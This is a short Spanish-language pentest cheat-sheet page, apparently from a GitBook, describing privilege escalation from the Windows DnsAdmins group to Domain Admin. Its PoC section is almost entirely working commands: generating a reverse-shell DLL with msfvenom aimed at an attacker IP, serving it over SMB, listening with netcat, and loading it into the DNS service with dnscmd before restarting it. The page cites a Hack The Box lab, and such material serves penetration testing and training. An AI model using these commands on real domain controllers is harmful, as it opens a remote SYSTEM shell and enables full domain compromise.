# DnsAdmins to DomainAdmin

## Introduction

El grupo **DnsAdmins** en Windows permite gestionar el servicio DNS en controladores de dominio. Sin embargo, los usuarios de este grupo pueden cargar y ejecutar una **DLL** personalizada con privilegios elevados a través de funciones del servicio DNS. Esto lo convierte en un método viable para la **escalación de privilegios** en entornos de Active Directory.

***

## **PoC**

{% code title="On Kali" %}

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f dll -o pwn.dll

impacket-smbserver smbFolder $(pwd) -smb2support

rlwrap -cAr nc -nlvp 443
```

{% endcode %}

{% code title="On Windows" %}

```powershell
dnscmd.exe /config /serverlevelplugindll \\<ATTACKER_IP>\smbFolder\pwn.dll

sc.exe stop dns

sc.exe start dns
```

{% endcode %}

<figure><img src="https://228013500-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnht2ZrhktWnDwC5LAkip%2Fuploads%2FXyviF1TZWF4WN3bD2MWl%2F4019_Photos_09ahREH2CG.png?alt=media&#x26;token=a42d2592-9f87-46b5-a3c9-9dcc5b42e58b" alt=""><figcaption></figcaption></figure>

***

## References

* DnsAdmins to Domain Admin - <https://www.hackingarticles.in/windows-privilege-escalation-dnsadmins-to-domainadmin/>
* HTB Resolute - <https://kogre.gitbook.io/gzzcoo/windows/active-directory/medium/resolute>
